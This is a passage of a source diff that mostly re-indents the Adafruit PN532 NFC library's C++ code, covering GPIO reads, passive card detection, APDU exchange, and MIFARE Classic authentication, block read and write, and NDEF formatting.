-  PN532DEBUGPRINT.println();
-  PN532DEBUGPRINT.print(F("P3 GPIO: 0x"));
-  PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset], HEX);
-  PN532DEBUGPRINT.print(F("P7 GPIO: 0x"));
-  PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 1], HEX);
-  PN532DEBUGPRINT.print(F("IO GPIO: 0x"));
-  PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 2], HEX);
-  // Note: You can use the IO GPIO value to detect the serial bus being used
-  switch (pn532_packetbuffer[p3offset + 2]) {
-  case 0x00: // Using UART
-    PN532DEBUGPRINT.println(F("Using UART (IO = 0x00)"));
-    break;
-  case 0x01: // Using I2C
-    PN532DEBUGPRINT.println(F("Using I2C (IO = 0x01)"));
-    break;
-  case 0x02: // Using SPI
-    PN532DEBUGPRINT.println(F("Using SPI (IO = 0x02)"));
-    break;
-  }
+    PN532DEBUGPRINT.print(F("Received: "));
+    PrintHex(pn532_packetbuffer, 11);
+    PN532DEBUGPRINT.println();
+    PN532DEBUGPRINT.print(F("P3 GPIO: 0x"));
+    PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset], HEX);
+    PN532DEBUGPRINT.print(F("P7 GPIO: 0x"));
+    PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 1], HEX);
+    PN532DEBUGPRINT.print(F("IO GPIO: 0x"));
+    PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 2], HEX);
+    // Note: You can use the IO GPIO value to detect the serial bus being used
+    switch (pn532_packetbuffer[p3offset + 2]) {
+    case 0x00: // Using UART
+        PN532DEBUGPRINT.println(F("Using UART (IO = 0x00)"));
+        break;
+    case 0x01: // Using I2C
+        PN532DEBUGPRINT.println(F("Using I2C (IO = 0x01)"));
+        break;
+    case 0x02: // Using SPI
+        PN532DEBUGPRINT.println(F("Using SPI (IO = 0x02)"));
+        break;
+    }
 #endif
 
-  return pn532_packetbuffer[p3offset];
+    return pn532_packetbuffer[p3offset];
 }
 
 /**************************************************************************/
@@ -493,19 +492,19 @@ uint8_t Adafruit_PN532::readGPIO(void) {
 */
 /**************************************************************************/
 bool Adafruit_PN532::SAMConfig(void) {
-  pn532_packetbuffer[0] = PN532_COMMAND_SAMCONFIGURATION;
-  pn532_packetbuffer[1] = 0x01; // normal mode;
-  pn532_packetbuffer[2] = 0x14; // timeout 50ms * 20 = 1 second
-  pn532_packetbuffer[3] = 0x01; // use IRQ pin!
+    pn532_packetbuffer[0] = PN532_COMMAND_SAMCONFIGURATION;
+    pn532_packetbuffer[1] = 0x01; // normal mode;
+    pn532_packetbuffer[2] = 0x14; // timeout 50ms * 20 = 1 second
+    pn532_packetbuffer[3] = 0x01; // use IRQ pin!
 
-  if (!sendCommandCheckAck(pn532_packetbuffer, 4))
-    return false;
+    if (!sendCommandCheckAck(pn532_packetbuffer, 4))
+        return false;
 
-  // read data packet
-  readdata(pn532_packetbuffer, 9);
+    // read data packet
+    readdata(pn532_packetbuffer, 9);
 
-  int offset = 6;
-  return (pn532_packetbuffer[offset] == 0x15);
+    int offset = 6;
+    return (pn532_packetbuffer[offset] == 0x15);
 }
 
 /**************************************************************************/
@@ -519,22 +518,22 @@ bool Adafruit_PN532::SAMConfig(void) {
 */
 /**************************************************************************/
 bool Adafruit_PN532::setPassiveActivationRetries(uint8_t maxRetries) {
-  pn532_packetbuffer[0] = PN532_COMMAND_RFCONFIGURATION;
-  pn532_packetbuffer[1] = 5;    // Config item 5 (MaxRetries)
-  pn532_packetbuffer[2] = 0xFF; // MxRtyATR (default = 0xFF)
-  pn532_packetbuffer[3] = 0x01; // MxRtyPSL (default = 0x01)
-  pn532_packetbuffer[4] = maxRetries;
+    pn532_packetbuffer[0] = PN532_COMMAND_RFCONFIGURATION;
+    pn532_packetbuffer[1] = 5;    // Config item 5 (MaxRetries)
+    pn532_packetbuffer[2] = 0xFF; // MxRtyATR (default = 0xFF)
+    pn532_packetbuffer[3] = 0x01; // MxRtyPSL (default = 0x01)
+    pn532_packetbuffer[4] = maxRetries;
 
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Setting MxRtyPassiveActivation to "));
-  PN532DEBUGPRINT.print(maxRetries, DEC);
-  PN532DEBUGPRINT.println(F(" "));
+    PN532DEBUGPRINT.print(F("Setting MxRtyPassiveActivation to "));
+    PN532DEBUGPRINT.print(maxRetries, DEC);
+    PN532DEBUGPRINT.println(F(" "));
 #endif
 
-  if (!sendCommandCheckAck(pn532_packetbuffer, 5))
-    return 0x0; // no ACK
+    if (!sendCommandCheckAck(pn532_packetbuffer, 5))
+        return 0x0; // no ACK
 
-  return 1;
+    return 1;
 }
 
 /***** ISO14443A Commands ******/
@@ -556,18 +555,19 @@ bool Adafruit_PN532::setPassiveActivationRetries(uint8_t maxRetries) {
 /**************************************************************************/
 bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid,
                                          uint8_t *uidLength, uint16_t timeout) {
-  pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
-  pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later)
-  pn532_packetbuffer[2] = cardbaudrate;
+    pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
+    pn532_packetbuffer[1] =
+        1; // max 1 cards at once (we can set this to 2 later)
+    pn532_packetbuffer[2] = cardbaudrate;
 
-  if (!sendCommandCheckAck(pn532_packetbuffer, 3, timeout)) {
+    if (!sendCommandCheckAck(pn532_packetbuffer, 3, timeout)) {
 #ifdef PN532DEBUG
-    PN532DEBUGPRINT.println(F("No card(s) read"));
+        PN532DEBUGPRINT.println(F("No card(s) read"));
 #endif
-    return 0x0; // no cards read
-  }
+        return 0x0; // no cards read
+    }
 
-  return readDetectedPassiveTargetID(uid, uidLength);
+    return readDetectedPassiveTargetID(uid, uidLength);
 }
 
 /**************************************************************************/
@@ -579,11 +579,12 @@ bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid,
 */
 /**************************************************************************/
 bool Adafruit_PN532::startPassiveTargetIDDetection(uint8_t cardbaudrate) {
-  pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
-  pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later)
-  pn532_packetbuffer[2] = cardbaudrate;
+    pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
+    pn532_packetbuffer[1] =
+        1; // max 1 cards at once (we can set this to 2 later)
+    pn532_packetbuffer[2] = cardbaudrate;
 
-  return sendCommandCheckAck(pn532_packetbuffer, 3);
+    return sendCommandCheckAck(pn532_packetbuffer, 3);
 }
 
 /**************************************************************************/
@@ -600,57 +601,57 @@ bool Adafruit_PN532::startPassiveTargetIDDetection(uint8_t cardbaudrate) {
 /**************************************************************************/
 bool Adafruit_PN532::readDetectedPassiveTargetID(uint8_t *uid,
                                                  uint8_t *uidLength) {
-  // read data packet
-  readdata(pn532_packetbuffer, 20);
-  // check some basic stuff
-
-  /* ISO14443A card response should be in the following format:
-
-    byte            Description
-    -------------   ------------------------------------------
-    b0..6           Frame header and preamble
-    b7              Tags Found
-    b8              Tag Number (only one used in this example)
-    b9..10          SENS_RES
-    b11             SEL_RES
-    b12             NFCID Length
-    b13..NFCIDLen   NFCID                                      */
+    // read data packet
+    readdata(pn532_packetbuffer, 20);
+    // check some basic stuff
+
+    /* ISO14443A card response should be in the following format:
+
+      byte            Description
+      -------------   ------------------------------------------
+      b0..6           Frame header and preamble
+      b7              Tags Found
+      b8              Tag Number (only one used in this example)
+      b9..10          SENS_RES
+      b11             SEL_RES
+      b12             NFCID Length
+      b13..NFCIDLen   NFCID                                      */
 
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Found "));
-  PN532DEBUGPRINT.print(pn532_packetbuffer[7], DEC);
-  PN532DEBUGPRINT.println(F(" tags"));
+    PN532DEBUGPRINT.print(F("Found "));
+    PN532DEBUGPRINT.print(pn532_packetbuffer[7], DEC);
+    PN532DEBUGPRINT.println(F(" tags"));
 #endif
-  if (pn532_packetbuffer[7] != 1)
-    return 0;
+    if (pn532_packetbuffer[7] != 1)
+        return 0;
 
-  uint16_t sens_res = pn532_packetbuffer[9];
-  sens_res <<= 8;
-  sens_res |= pn532_packetbuffer[10];
+    uint16_t sens_res = pn532_packetbuffer[9];
+    sens_res <<= 8;
+    sens_res |= pn532_packetbuffer[10];
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("ATQA: 0x"));
-  PN532DEBUGPRINT.println(sens_res, HEX);
-  PN532DEBUGPRINT.print(F("SAK: 0x"));
-  PN532DEBUGPRINT.println(pn532_packetbuffer[11], HEX);
+    PN532DEBUGPRINT.print(F("ATQA: 0x"));
+    PN532DEBUGPRINT.println(sens_res, HEX);
+    PN532DEBUGPRINT.print(F("SAK: 0x"));
+    PN532DEBUGPRINT.println(pn532_packetbuffer[11], HEX);
 #endif
 
-  /* Card appears to be Mifare Classic */
-  *uidLength = pn532_packetbuffer[12];
+    /* Card appears to be Mifare Classic */
+    *uidLength = pn532_packetbuffer[12];
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("UID:"));
+    PN532DEBUGPRINT.print(F("UID:"));
 #endif
-  for (uint8_t i = 0; i < pn532_packetbuffer[12]; i++) {
-    uid[i] = pn532_packetbuffer[13 + i];
+    for (uint8_t i = 0; i < pn532_packetbuffer[12]; i++) {
+        uid[i] = pn532_packetbuffer[13 + i];
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.print(F(" 0x"));
-    PN532DEBUGPRINT.print(uid[i], HEX);
+        PN532DEBUGPRINT.print(F(" 0x"));
+        PN532DEBUGPRINT.print(uid[i], HEX);
 #endif
-  }
+    }
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.println();
+    PN532DEBUGPRINT.println();
 #endif
 
-  return 1;
+    return 1;
 }
 
 /**************************************************************************/
@@ -667,77 +668,77 @@ bool Adafruit_PN532::readDetectedPassiveTargetID(uint8_t *uid,
 bool Adafruit_PN532::inDataExchange(uint8_t *send, uint8_t sendLength,
                                     uint8_t *response,
                                     uint8_t *responseLength) {
-  if (sendLength > PN532_PACKBUFFSIZ - 2) {
+    if (sendLength > PN532_PACKBUFFSIZ - 2) {
 #ifdef PN532DEBUG
-    PN532DEBUGPRINT.println(F("APDU length too long for packet buffer"));
+        PN532DEBUGPRINT.println(F("APDU length too long for packet buffer"));
 #endif
-    return false;
-  }
-  uint8_t i;
+        return false;
+    }
+    uint8_t i;
 
-  pn532_packetbuffer[0] = 0x40; // PN532_COMMAND_INDATAEXCHANGE;
-  pn532_packetbuffer[1] = _inListedTag;
-  for (i = 0; i < sendLength; ++i) {
-    pn532_packetbuffer[i + 2] = send[i];
-  }
+    pn532_packetbuffer[0] = 0x40; // PN532_COMMAND_INDATAEXCHANGE;
+    pn532_packetbuffer[1] = _inListedTag;
+    for (i = 0; i < sendLength; ++i) {
+        pn532_packetbuffer[i + 2] = send[i];
+    }
 
-  if (!sendCommandCheckAck(pn532_packetbuffer, sendLength + 2, 1000)) {
+    if (!sendCommandCheckAck(pn532_packetbuffer, sendLength + 2, 1000)) {
 #ifdef PN532DEBUG
-    PN532DEBUGPRINT.println(F("Could not send APDU"));
+        PN532DEBUGPRINT.println(F("Could not send APDU"));
 #endif
-    return false;
-  }
+        return false;
+    }
 
-  if (!waitready(1000)) {
+    if (!waitready(1000)) {
 #ifdef PN532DEBUG
-    PN532DEBUGPRINT.println(F("Response never received for APDU..."));
+        PN532DEBUGPRINT.println(F("Response never received for APDU..."));
 #endif
-    return false;
-  }
+        return false;
+    }
 
-  readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer));
+    readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer));
 
-  if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 &&
-      pn532_packetbuffer[2] == 0xff) {
-    uint8_t length = pn532_packetbuffer[3];
-    if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) {
+    if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 &&
+        pn532_packetbuffer[2] == 0xff) {
+        uint8_t length = pn532_packetbuffer[3];
+        if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) {
 #ifdef PN532DEBUG
-      PN532DEBUGPRINT.println(F("Length check invalid"));
-      PN532DEBUGPRINT.println(length, HEX);
-      PN532DEBUGPRINT.println((~length) + 1, HEX);
+            PN532DEBUGPRINT.println(F("Length check invalid"));
+            PN532DEBUGPRINT.println(length, HEX);
+            PN532DEBUGPRINT.println((~length) + 1, HEX);
 #endif
-      return false;
-    }
-    if (pn532_packetbuffer[5] == PN532_PN532TOHOST &&
-        pn532_packetbuffer[6] == PN532_RESPONSE_INDATAEXCHANGE) {
-      if ((pn532_packetbuffer[7] & 0x3f) != 0) {
+            return false;
+        }
+        if (pn532_packetbuffer[5] == PN532_PN532TOHOST &&
+            pn532_packetbuffer[6] == PN532_RESPONSE_INDATAEXCHANGE) {
+            if ((pn532_packetbuffer[7] & 0x3f) != 0) {
 #ifdef PN532DEBUG
-        PN532DEBUGPRINT.println(F("Status code indicates an error"));
+                PN532DEBUGPRINT.println(F("Status code indicates an error"));
 #endif
-        return false;
-      }
-
-      length -= 3;
-
-      if (length > *responseLength) {
-        length = *responseLength; // silent truncation...
-      }
-
-      for (i = 0; i < length; ++i) {
-        response[i] = pn532_packetbuffer[8 + i];
-      }
-      *responseLength = length;
-
-      return true;
+                return false;
+            }
+
+            length -= 3;
+
+            if (length > *responseLength) {
+                length = *responseLength; // silent truncation...
+            }
+
+            for (i = 0; i < length; ++i) {
+                response[i] = pn532_packetbuffer[8 + i];
+            }
+            *responseLength = length;
+
+            return true;
+        } else {
+            PN532DEBUGPRINT.print(F("Don't know how to handle this command: "));
+            PN532DEBUGPRINT.println(pn532_packetbuffer[6], HEX);
+            return false;
+        }
     } else {
-      PN532DEBUGPRINT.print(F("Don't know how to handle this command: "));
-      PN532DEBUGPRINT.println(pn532_packetbuffer[6], HEX);
-      return false;
+        PN532DEBUGPRINT.println(F("Preamble missing"));
+        return false;
     }
-  } else {
-    PN532DEBUGPRINT.println(F("Preamble missing"));
-    return false;
-  }
 }
 
 /**************************************************************************/
@@ -748,68 +749,70 @@ bool Adafruit_PN532::inDataExchange(uint8_t *send, uint8_t sendLength,
 */
 /**************************************************************************/
 bool Adafruit_PN532::inListPassiveTarget() {
-  pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
-  pn532_packetbuffer[1] = 1;
-  pn532_packetbuffer[2] = 0;
+    pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
+    pn532_packetbuffer[1] = 1;
+    pn532_packetbuffer[2] = 0;
 
 #ifdef PN532DEBUG
-  PN532DEBUGPRINT.print(F("About to inList passive target"));
+    PN532DEBUGPRINT.print(F("About to inList passive target"));
 #endif
 
-  if (!sendCommandCheckAck(pn532_packetbuffer, 3, 1000)) {
+    if (!sendCommandCheckAck(pn532_packetbuffer, 3, 1000)) {
 #ifdef PN532DEBUG
-    PN532DEBUGPRINT.println(F("Could not send inlist message"));
+        PN532DEBUGPRINT.println(F("Could not send inlist message"));
 #endif
-    return false;
-  }
+        return false;
+    }
 
-  if (!waitready(30000)) {
-    return false;
-  }
+    if (!waitready(30000)) {
+        return false;
+    }
 
-  readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer));
+    readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer));
 
-  if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 &&
-      pn532_packetbuffer[2] == 0xff) {
-    uint8_t length = pn532_packetbuffer[3];
-    if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) {
+    if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 &&
+        pn532_packetbuffer[2] == 0xff) {
+        uint8_t length = pn532_packetbuffer[3];
+        if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) {
 #ifdef PN532DEBUG
-      PN532DEBUGPRINT.println(F("Length check invalid"));
-      PN532DEBUGPRINT.println(length, HEX);
-      PN532DEBUGPRINT.println((~length) + 1, HEX);
+            PN532DEBUGPRINT.println(F("Length check invalid"));
+            PN532DEBUGPRINT.println(length, HEX);
+            PN532DEBUGPRINT.println((~length) + 1, HEX);
 #endif
-      return false;
-    }
-    if (pn532_packetbuffer[5] == PN532_PN532TOHOST &&
-        pn532_packetbuffer[6] == PN532_RESPONSE_INLISTPASSIVETARGET) {
-      if (pn532_packetbuffer[7] != 1) {
+            return false;
+        }
+        if (pn532_packetbuffer[5] == PN532_PN532TOHOST &&
+            pn532_packetbuffer[6] == PN532_RESPONSE_INLISTPASSIVETARGET) {
+            if (pn532_packetbuffer[7] != 1) {
 #ifdef PN532DEBUG
-        PN532DEBUGPRINT.println(F("Unhandled number of targets inlisted"));
+                PN532DEBUGPRINT.println(
+                    F("Unhandled number of targets inlisted"));
 #endif
-        PN532DEBUGPRINT.println(F("Number of tags inlisted:"));
-        PN532DEBUGPRINT.println(pn532_packetbuffer[7]);
-        return false;
-      }
+                PN532DEBUGPRINT.println(F("Number of tags inlisted:"));
+                PN532DEBUGPRINT.println(pn532_packetbuffer[7]);
+                return false;
+            }
 
-      _inListedTag = pn532_packetbuffer[8];
-      PN532DEBUGPRINT.print(F("Tag number: "));
-      PN532DEBUGPRINT.println(_inListedTag);
+            _inListedTag = pn532_packetbuffer[8];
+            PN532DEBUGPRINT.print(F("Tag number: "));
+            PN532DEBUGPRINT.println(_inListedTag);
 
-      return true;
-    } else {
+            return true;
+        } else {
 #ifdef PN532DEBUG
-      PN532DEBUGPRINT.print(F("Unexpected response to inlist passive host"));
+            PN532DEBUGPRINT.print(
+                F("Unexpected response to inlist passive host"));
 #endif
-      return false;
-    }
-  } else {
+            return false;
+        }
+    } else {
 #ifdef PN532DEBUG
-    PN532DEBUGPRINT.println(F("Preamble missing"));
+        PN532DEBUGPRINT.println(F("Preamble missing"));
 #endif
-    return false;
-  }
+        return false;
+    }
 
-  return true;
+    return true;
 }
 
 /***** Mifare Classic Functions ******/
@@ -823,11 +826,11 @@ bool Adafruit_PN532::inListPassiveTarget() {
 */
 /**************************************************************************/
 bool Adafruit_PN532::mifareclassic_IsFirstBlock(uint32_t uiBlock) {
-  // Test if we are in the small or big sectors
-  if (uiBlock < 128)
-    return ((uiBlock) % 4 == 0);
-  else
-    return ((uiBlock) % 16 == 0);
+    // Test if we are in the small or big sectors
+    if (uiBlock < 128)
+        return ((uiBlock) % 4 == 0);
+    else
+        return ((uiBlock) % 16 == 0);
 }
 
 /**************************************************************************/
@@ -839,11 +842,11 @@ bool Adafruit_PN532::mifareclassic_IsFirstBlock(uint32_t uiBlock) {
 */
 /**************************************************************************/
 bool Adafruit_PN532::mifareclassic_IsTrailerBlock(uint32_t uiBlock) {
-  // Test if we are in the small or big sectors
-  if (uiBlock < 128)
-    return ((uiBlock + 1) % 4 == 0);
-  else
-    return ((uiBlock + 1) % 16 == 0);
+    // Test if we are in the small or big sectors
+    if (uiBlock < 128)
+        return ((uiBlock + 1) % 4 == 0);
+    else
+        return ((uiBlock + 1) % 16 == 0);
 }
 
 /**************************************************************************/
@@ -870,54 +873,54 @@ uint8_t Adafruit_PN532::mifareclassic_AuthenticateBlock(uint8_t *uid,
                                                         uint32_t blockNumber,
                                                         uint8_t keyNumber,
                                                         uint8_t *keyData) {
-  // uint8_t len;
-  uint8_t i;
+    // uint8_t len;
+    uint8_t i;
 
-  // Hang on to the key and uid data
-  memcpy(_key, keyData, 6);
-  memcpy(_uid, uid, uidLen);
-  _uidLen = uidLen;
+    // Hang on to the key and uid data
+    memcpy(_key, keyData, 6);
+    memcpy(_uid, uid, uidLen);
+    _uidLen = uidLen;
 
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Trying to authenticate card "));
-  Adafruit_PN532::PrintHex(_uid, _uidLen);
-  PN532DEBUGPRINT.print(F("Using authentication KEY "));
-  PN532DEBUGPRINT.print(keyNumber ? 'B' : 'A');
-  PN532DEBUGPRINT.print(F(": "));
-  Adafruit_PN532::PrintHex(_key, 6);
+    PN532DEBUGPRINT.print(F("Trying to authenticate card "));
+    Adafruit_PN532::PrintHex(_uid, _uidLen);
+    PN532DEBUGPRINT.print(F("Using authentication KEY "));
+    PN532DEBUGPRINT.print(keyNumber ? 'B' : 'A');
+    PN532DEBUGPRINT.print(F(": "));
+    Adafruit_PN532::PrintHex(_key, 6);
 #endif
 
-  // Prepare the authentication command //
-  pn532_packetbuffer[0] =
-      PN532_COMMAND_INDATAEXCHANGE; /* Data Exchange Header */
-  pn532_packetbuffer[1] = 1;        /* Max card numbers */
-  pn532_packetbuffer[2] = (keyNumber) ? MIFARE_CMD_AUTH_B : MIFARE_CMD_AUTH_A;
-  pn532_packetbuffer[3] =
-      blockNumber; /* Block Number (1K = 0..63, 4K = 0..255 */
-  memcpy(pn532_packetbuffer + 4, _key, 6);
-  for (i = 0; i < _uidLen; i++) {
-    pn532_packetbuffer[10 + i] = _uid[i]; /* 4 byte card ID */
-  }
-
-  if (!sendCommandCheckAck(pn532_packetbuffer, 10 + _uidLen))
-    return 0;
-
-  // Read the response packet
-  readdata(pn532_packetbuffer, 12);
-
-  // check if the response is valid and we are authenticated???
-  // for an auth success it should be bytes 5-7: 0xD5 0x41 0x00
-  // Mifare auth error is technically byte 7: 0x14 but anything other and 0x00
-  // is not good
-  if (pn532_packetbuffer[7] != 0x00) {
+    // Prepare the authentication command //
+    pn532_packetbuffer[0] =
+        PN532_COMMAND_INDATAEXCHANGE; /* Data Exchange Header */
+    pn532_packetbuffer[1] = 1;        /* Max card numbers */
+    pn532_packetbuffer[2] = (keyNumber) ? MIFARE_CMD_AUTH_B : MIFARE_CMD_AUTH_A;
+    pn532_packetbuffer[3] =
+        blockNumber; /* Block Number (1K = 0..63, 4K = 0..255 */
+    memcpy(pn532_packetbuffer + 4, _key, 6);
+    for (i = 0; i < _uidLen; i++) {
+        pn532_packetbuffer[10 + i] = _uid[i]; /* 4 byte card ID */
+    }
+
+    if (!sendCommandCheckAck(pn532_packetbuffer, 10 + _uidLen))
+        return 0;
+
+    // Read the response packet
+    readdata(pn532_packetbuffer, 12);
+
+    // check if the response is valid and we are authenticated???
+    // for an auth success it should be bytes 5-7: 0xD5 0x41 0x00
+    // Mifare auth error is technically byte 7: 0x14 but anything other and 0x00
+    // is not good
+    if (pn532_packetbuffer[7] != 0x00) {
 #ifdef PN532DEBUG
-    PN532DEBUGPRINT.print(F("Authentification failed: "));
-    Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 12);
+        PN532DEBUGPRINT.print(F("Authentification failed: "));
+        Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 12);
 #endif
-    return 0;
-  }
+        return 0;
+    }
 
-  return 1;
+    return 1;
 }
 
 /**************************************************************************/
@@ -936,49 +939,49 @@ uint8_t Adafruit_PN532::mifareclassic_AuthenticateBlock(uint8_t *uid,
 uint8_t Adafruit_PN532::mifareclassic_ReadDataBlock(uint8_t blockNumber,
                                                     uint8_t *data) {
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Trying to read 16 bytes from block "));
-  PN532DEBUGPRINT.println(blockNumber);
+    PN532DEBUGPRINT.print(F("Trying to read 16 bytes from block "));
+    PN532DEBUGPRINT.println(blockNumber);
 #endif
 
-  /* Prepare the command */
-  pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
-  pn532_packetbuffer[1] = 1;               /* Card number */
-  pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */
-  pn532_packetbuffer[3] =
-      blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */
+    /* Prepare the command */
+    pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
+    pn532_packetbuffer[1] = 1;               /* Card number */
+    pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */
+    pn532_packetbuffer[3] =
+        blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */
 
-  /* Send the command */
-  if (!sendCommandCheckAck(pn532_packetbuffer, 4)) {
+    /* Send the command */
+    if (!sendCommandCheckAck(pn532_packetbuffer, 4)) {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Failed to receive ACK for read command"));
+        PN532DEBUGPRINT.println(F("Failed to receive ACK for read command"));
 #endif
-    return 0;
-  }
+        return 0;
+    }
 
-  /* Read the response packet */
-  readdata(pn532_packetbuffer, 26);
+    /* Read the response packet */
+    readdata(pn532_packetbuffer, 26);
 
-  /* If byte 8 isn't 0x00 we probably have an error */
-  if (pn532_packetbuffer[7] != 0x00) {
+    /* If byte 8 isn't 0x00 we probably have an error */
+    if (pn532_packetbuffer[7] != 0x00) {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Unexpected response"));
-    Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26);
+        PN532DEBUGPRINT.println(F("Unexpected response"));
+        Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26);
 #endif
-    return 0;
-  }
+        return 0;
+    }
 
-  /* Copy the 16 data bytes to the output buffer        */
-  /* Block content starts at byte 9 of a valid response */
-  memcpy(data, pn532_packetbuffer + 8, 16);
+    /* Copy the 16 data bytes to the output buffer        */
+    /* Block content starts at byte 9 of a valid response */
+    memcpy(data, pn532_packetbuffer + 8, 16);
 
 /* Display data for debug if requested */
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Block "));
-  PN532DEBUGPRINT.println(blockNumber);
-  Adafruit_PN532::PrintHexChar(data, 16);
+    PN532DEBUGPRINT.print(F("Block "));
+    PN532DEBUGPRINT.println(blockNumber);
+    Adafruit_PN532::PrintHexChar(data, 16);
 #endif
 
-  return 1;
+    return 1;
 }
 
 /**************************************************************************/
@@ -996,31 +999,31 @@ uint8_t Adafruit_PN532::mifareclassic_ReadDataBlock(uint8_t blockNumber,
 uint8_t Adafruit_PN532::mifareclassic_WriteDataBlock(uint8_t blockNumber,
                                                      uint8_t *data) {
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Trying to write 16 bytes to block "));
-  PN532DEBUGPRINT.println(blockNumber);
+    PN532DEBUGPRINT.print(F("Trying to write 16 bytes to block "));
+    PN532DEBUGPRINT.println(blockNumber);
 #endif
 
-  /* Prepare the first command */
-  pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
-  pn532_packetbuffer[1] = 1;                /* Card number */
-  pn532_packetbuffer[2] = MIFARE_CMD_WRITE; /* Mifare Write command = 0xA0 */
-  pn532_packetbuffer[3] =
-      blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */
-  memcpy(pn532_packetbuffer + 4, data, 16); /* Data Payload */
+    /* Prepare the first command */
+    pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
+    pn532_packetbuffer[1] = 1;                /* Card number */
+    pn532_packetbuffer[2] = MIFARE_CMD_WRITE; /* Mifare Write command = 0xA0 */
+    pn532_packetbuffer[3] =
+        blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */
+    memcpy(pn532_packetbuffer + 4, data, 16); /* Data Payload */
 
-  /* Send the command */
-  if (!sendCommandCheckAck(pn532_packetbuffer, 20)) {
+    /* Send the command */
+    if (!sendCommandCheckAck(pn532_packetbuffer, 20)) {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Failed to receive ACK for write command"));
+        PN532DEBUGPRINT.println(F("Failed to receive ACK for write command"));
 #endif
-    return 0;
-  }
-  delay(10);
+        return 0;
+    }
+    delay(10);
 
-  /* Read the response packet */
-  readdata(pn532_packetbuffer, 26);
+    /* Read the response packet */
+    readdata(pn532_packetbuffer, 26);
 
-  return 1;
+    return 1;
 }
 
 /**************************************************************************/
@@ -1031,27 +1034,30 @@ uint8_t Adafruit_PN532::mifareclassic_WriteDataBlock(uint8_t blockNumber,
 */
 /**************************************************************************/
 uint8_t Adafruit_PN532::mifareclassic_FormatNDEF(void) {
-  uint8_t sectorbuffer1[16] = {0x14, 0x01, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
-                               0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1};
-  uint8_t sectorbuffer2[16] = {0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
-                               0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1};
-  uint8_t sectorbuffer3[16] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0x78, 0x77,
-                               0x88, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
-
-  // Note 0xA0 0xA1 0xA2 0xA3 0xA4 0xA5 must be used for key A
-  // for the MAD sector in NDEF records (sector 0)
-
-  // Write block 1 and 2 to the card
-  if (!(mifareclassic_WriteDataBlock(1, sectorbuffer1)))
-    return 0;
-  if (!(mifareclassic_WriteDataBlock(2, sectorbuffer2)))
-    return 0;
-  // Write key A and access rights card
-  if (!(mifareclassic_WriteDataBlock(3, sectorbuffer3)))
-    return 0;
-
-  // Seems that everything was OK (?!)
-  return 1;
+    uint8_t sectorbuffer1[16] = {0x14, 0x01, 0x03, 0xE1, 0x03, 0xE1,
+                                 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
+                                 0x03, 0xE1, 0x03, 0xE1};
+    uint8_t sectorbuffer2[16] = {0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
